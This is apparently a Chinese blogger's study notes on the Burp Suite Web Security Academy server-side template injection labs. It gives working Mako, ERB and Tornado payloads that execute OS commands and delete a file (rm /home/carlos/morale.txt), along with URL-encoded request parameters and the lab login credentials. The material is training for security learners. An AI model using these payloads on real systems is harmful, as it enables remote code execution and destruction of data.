笔者burpsuite的在线安全学院的ssti学习笔记。文章质量不是很高,假如有看到的大佬轻喷,很多地方是Google翻译的。这是burrpsuite学院的地址
阅读文档
文档是最有用的信息来源,例如,一旦您知道正在使用基于Python的Mako模板引擎,实现远程代码执行就可以很简单
<%
import os
x=os.popen('id').read()
%>
${x}
在无沙盒环境中,实现远程代码执行并将其用于读取,编辑或删除任意文件在许多常见模板引擎中都同样简单。
了解基本模板语法
Lab: Basic server-side template injection
基于ERB模板的ssti,要解决此问题,请查看ERB文档以了解如何执行任意代码,然后morale.txt从Carlos的主目录中删除该文件。
- 当查看有关第一个产品的详细信息时,GET请求将使用message参数呈现"Unfortunately this product is out of stock"
- 在ERB文档中,发现该语法<%= someExpression %>用于评估表达式并将结果呈现在页面上
- 使用ERB模板语法创建包含数学运算的测试payload,例如:
<%= 7*7 %>
,然后url编码payload再请求
- Ruby文档中的system()方法,该方法可用于执行任意操作系统命令
- …省略一些尝试
- 构造payload以删除Carlos的文件,如下所示:
<%= system("rm /home/carlos/morale.txt") %>
,url编码一下就是https://your-lab-id.web-security-academy.net/?message=<%25+system("rm+/home/carlos/morale.txt")+%25>
- 成功后,lab会有提示
Lab: Basic server-side template injection (code context)
Tornado模板的ssti,要解决此问题,请查看Tornado文档以发现如何执行任意代码,然后morale.txt从Carlos的主目录中删除该文件。
username = wiener
password = peter
提示:请仔细查看“首选名称”功能。
- 通过Burp代理流量时,登录并在其中一篇博客文章上发表评论。
- 注意到,在“我的帐户”页面上,您可以选择是否要网站使用您的全名,名字或昵称。当您提交您的选择,一个POST请求设置参数的值blog-post-author-display要么user.name,user.first_name或user.nickname。当加载包含评论的页面时,评论上方的名称将根据该参数的当前值进行更新。
- 在Burp中,转到“代理”>“ HTTP历史记录”,找到设置此参数的请求POST /my-account/change-blog-post-author-display,然后将其发送到Burp Repeater。
- 研究Tornado文档,发现模板表达式用双花括号包围,例如{
{someExpression}}。在Burp Repeater中,请注意,您可以转出表达式并按如下所示注入任意模板语法:
blog-post-author-display=user.name}}{ {7*7}}
https://www.tornadoweb.org/en/stable/template.html
- 重新加载包含您的测试注释的页面。请注意,用户名现在Peter Wiener49}}显示为,表明代码上下文中可能存在服务器端模板注入漏洞。回头看评论区,发现被计算。
- 在Tornado文档中,确定用于执行任意Python的语法:
{% somePython %}
- 学习Python文档,发现通过导入os模块,您可以使用该system()方法执行任意系统命令。结合这些知识来构造可删除Carlos文件的有效负载:
{% import os %}{ {os.system('rm /home/carlos/morale.txt')
- 在Burp Repeater中,返回POST /my-account/change-blog-post-author-display。中断表达式,然后将有效负载注入参数中,记住对URL进行如下编码:
blog-post-author-display=user.name}}{%25+import+os+%25}{ {os.system('rm%20/home/carlos/morale.txt')
- 重新加载包含评论的页面。